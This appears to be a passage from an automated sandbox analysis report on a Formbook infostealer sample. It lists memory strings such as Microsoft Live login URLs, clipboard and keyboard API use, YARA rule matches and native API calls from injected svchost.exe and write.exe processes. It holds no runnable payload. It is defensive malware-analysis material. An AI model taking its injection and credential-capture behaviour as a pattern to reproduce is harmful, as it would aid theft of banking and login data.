Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: write.exe, 0000000B.00000002.3747327536.00000000055DA000.00000004.10000000.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.000000000339A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: write.exe, 0000000B.00000002.3743884868.0000000002B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.c
Source: write.exe, 0000000B.00000002.3743884868.0000000002B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: write.exe, 0000000B.00000002.3743884868.0000000002B41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: write.exe, 0000000B.00000003.1913753379.00000000078CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: write.exe, 0000000B.00000002.3743884868.0000000002B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: write.exe, 0000000B.00000002.3743884868.0000000002B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: write.exe, 0000000B.00000002.3743884868.0000000002B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: write.exe, 0000000B.00000002.3743884868.0000000002B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C81C

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0042C3B3 NtClose,	8_2_0042C3B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772B60 NtClose,LdrInitializeThunk,	8_2_03772B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_03772DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772C70 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_03772C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037735C0 NtCreateMutant,LdrInitializeThunk,	8_2_037735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03774340 NtSetContextThread,	8_2_03774340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03774650 NtSuspendThread,	8_2_03774650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772BF0 NtAllocateVirtualMemory,	8_2_03772BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772BE0 NtQueryValueKey,	8_2_03772BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772BA0 NtEnumerateValueKey,	8_2_03772BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772B80 NtQueryInformationFile,	8_2_03772B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772AF0 NtWriteFile,	8_2_03772AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772AD0 NtReadFile,	8_2_03772AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772AB0 NtWaitForSingleObject,	8_2_03772AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772F60 NtCreateProcessEx,	8_2_03772F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772F30 NtCreateSection,	8_2_03772F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772FE0 NtCreateFile,	8_2_03772FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772FB0 NtResumeThread,	8_2_03772FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772FA0 NtQuerySection,	8_2_03772FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772F90 NtProtectVirtualMemory,	8_2_03772F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772E30 NtWriteVirtualMemory,	8_2_03772E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772EE0 NtQueueApcThread,	8_2_03772EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772EA0 NtAdjustPrivilegesToken,	8_2_03772EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772E80 NtReadVirtualMemory,	8_2_03772E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772D30 NtUnmapViewOfSection,	8_2_03772D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772D10 NtMapViewOfSection,	8_2_03772D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772D00 NtSetInformationFile,	8_2_03772D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772DD0 NtDelayExecution,	8_2_03772DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772DB0 NtEnumerateKey,	8_2_03772DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772C60 NtCreateKey,	8_2_03772C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772C00 NtQueryInformationProcess,	8_2_03772C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772CF0 NtOpenProcess,	8_2_03772CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772CC0 NtQueryVirtualMemory,	8_2_03772CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772CA0 NtQueryInformationToken,	8_2_03772CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03773010 NtOpenDirectoryObject,	8_2_03773010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03773090 NtSetValueKey,	8_2_03773090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037739B0 NtGetContextThread,	8_2_037739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03773D70 NtOpenThread,	8_2_03773D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03773D10 NtOpenProcessToken,	8_2_03773D10
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04784650 NtSuspendThread,LdrInitializeThunk,	11_2_04784650
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04784340 NtSetContextThread,LdrInitializeThunk,	11_2_04784340
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_04782C70
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782C60 NtCreateKey,LdrInitializeThunk,	11_2_04782C60
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782CA0 NtQueryInformationToken,LdrInitializeThunk,	11_2_04782CA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782D30 NtUnmapViewOfSection,LdrInitializeThunk,	11_2_04782D30
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782D10 NtMapViewOfSection,LdrInitializeThunk,	11_2_04782D10
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_04782DF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782DD0 NtDelayExecution,LdrInitializeThunk,	11_2_04782DD0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782EE0 NtQueueApcThread,LdrInitializeThunk,	11_2_04782EE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782E80 NtReadVirtualMemory,LdrInitializeThunk,	11_2_04782E80
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782F30 NtCreateSection,LdrInitializeThunk,	11_2_04782F30
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782FE0 NtCreateFile,LdrInitializeThunk,	11_2_04782FE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782FB0 NtResumeThread,LdrInitializeThunk,	11_2_04782FB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782AF0 NtWriteFile,LdrInitializeThunk,	11_2_04782AF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782AD0 NtReadFile,LdrInitializeThunk,	11_2_04782AD0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782B60 NtClose,LdrInitializeThunk,	11_2_04782B60
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_04782BF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782BE0 NtQueryValueKey,LdrInitializeThunk,	11_2_04782BE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782BA0 NtEnumerateValueKey,LdrInitializeThunk,	11_2_04782BA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047835C0 NtCreateMutant,LdrInitializeThunk,	11_2_047835C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047839B0 NtGetContextThread,LdrInitializeThunk,	11_2_047839B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782C00 NtQueryInformationProcess,	11_2_04782C00
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782CF0 NtOpenProcess,	11_2_04782CF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782CC0 NtQueryVirtualMemory,	11_2_04782CC0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782D00 NtSetInformationFile,	11_2_04782D00
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782DB0 NtEnumerateKey,	11_2_04782DB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782E30 NtWriteVirtualMemory,	11_2_04782E30
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782EA0 NtAdjustPrivilegesToken,	11_2_04782EA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782F60 NtCreateProcessEx,	11_2_04782F60
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782FA0 NtQuerySection,	11_2_04782FA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782F90 NtProtectVirtualMemory,	11_2_04782F90
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782AB0 NtWaitForSingleObject,	11_2_04782AB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04782B80 NtQueryInformationFile,	11_2_04782B80
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04783010 NtOpenDirectoryObject,	11_2_04783010
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04783090 NtSetValueKey,	11_2_04783090
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04783D70 NtOpenThread,	11_2_04783D70
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04783D10 NtOpenProcessToken,	11_2_04783D10
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00558DB0 NtCreateFile,	11_2_00558DB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00558F20 NtReadFile,	11_2_00558F20
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00559010 NtDeleteFile,	11_2_00559010
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005590B0 NtClose,	11_2_005590B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00559210 NtAllocateVirtualMemory,	11_2_00559210

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00446313

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004333BE

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044EB5F	0_2_0044EB5F
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0454F658	0_2_0454F658
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_004183F3	8_2_004183F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00403090	8_2_00403090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0042E9B3	8_2_0042E9B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00402BCE	8_2_00402BCE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00402BD0	8_2_00402BD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040FCC3	8_2_0040FCC3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040FCBA	8_2_0040FCBA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_004165DE	8_2_004165DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_004165E3	8_2_004165E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040FEE3	8_2_0040FEE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040DF63	8_2_0040DF63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FA352	8_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_038003E6	8_2_038003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E3F0	8_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C02C0	8_2_037C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C8158	8_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_038001AA	8_2_038001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DA118	8_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730100	8_2_03730100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F81CC	8_2_037F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03764750	8_2_03764750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373C7C0	8_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375C6E0	8_2_0375C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03800591	8_2_03800591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F2446	8_2_037F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E4420	8_2_037E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037EE4F6	8_2_037EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FAB40	8_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F6BD7	8_2_037F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03756962	8_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0380A9A6	8_2_0380A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374A840	8_2_0374A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03742840	8_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E8F0	8_2_0376E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037268B8	8_2_037268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B4F40	8_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03760F30	8_2_03760F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E2F30	8_2_037E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03782F28	8_2_03782F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374CFE0	8_2_0374CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03732FC8	8_2_03732FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BEFA0	8_2_037BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740E59	8_2_03740E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FEE26	8_2_037FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FEEDB	8_2_037FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752E90	8_2_03752E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FCE93	8_2_037FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DCD1F	8_2_037DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374AD00	8_2_0374AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373ADE0	8_2_0373ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03758DBF	8_2_03758DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740C00	8_2_03740C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730CF2	8_2_03730CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0CB5	8_2_037E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372D34C	8_2_0372D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F132D	8_2_037F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0378739A	8_2_0378739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E12ED	8_2_037E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375B2C0	8_2_0375B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037452A0	8_2_037452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372F172	8_2_0372F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0377516C	8_2_0377516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374B1B0	8_2_0374B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0380B16B	8_2_0380B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F70E9	8_2_037F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FF0E0	8_2_037FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037EF0CC	8_2_037EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037470C0	8_2_037470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FF7B0	8_2_037FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F16CC	8_2_037F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F7571	8_2_037F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DD5B0	8_2_037DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03731460	8_2_03731460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FF43F	8_2_037FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FFB76	8_2_037FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B5BF0	8_2_037B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0377DBF9	8_2_0377DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375FB80	8_2_0375FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B3A6C	8_2_037B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FFA49	8_2_037FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F7A46	8_2_037F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037EDAC6	8_2_037EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DDAAC	8_2_037DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03785AA0	8_2_03785AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E1AA3	8_2_037E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03749950	8_2_03749950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375B950	8_2_0375B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D5910	8_2_037D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AD800	8_2_037AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037438E0	8_2_037438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FFF09	8_2_037FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FFFB1	8_2_037FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03741F92	8_2_03741F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03749EB0	8_2_03749EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F7D73	8_2_037F7D73
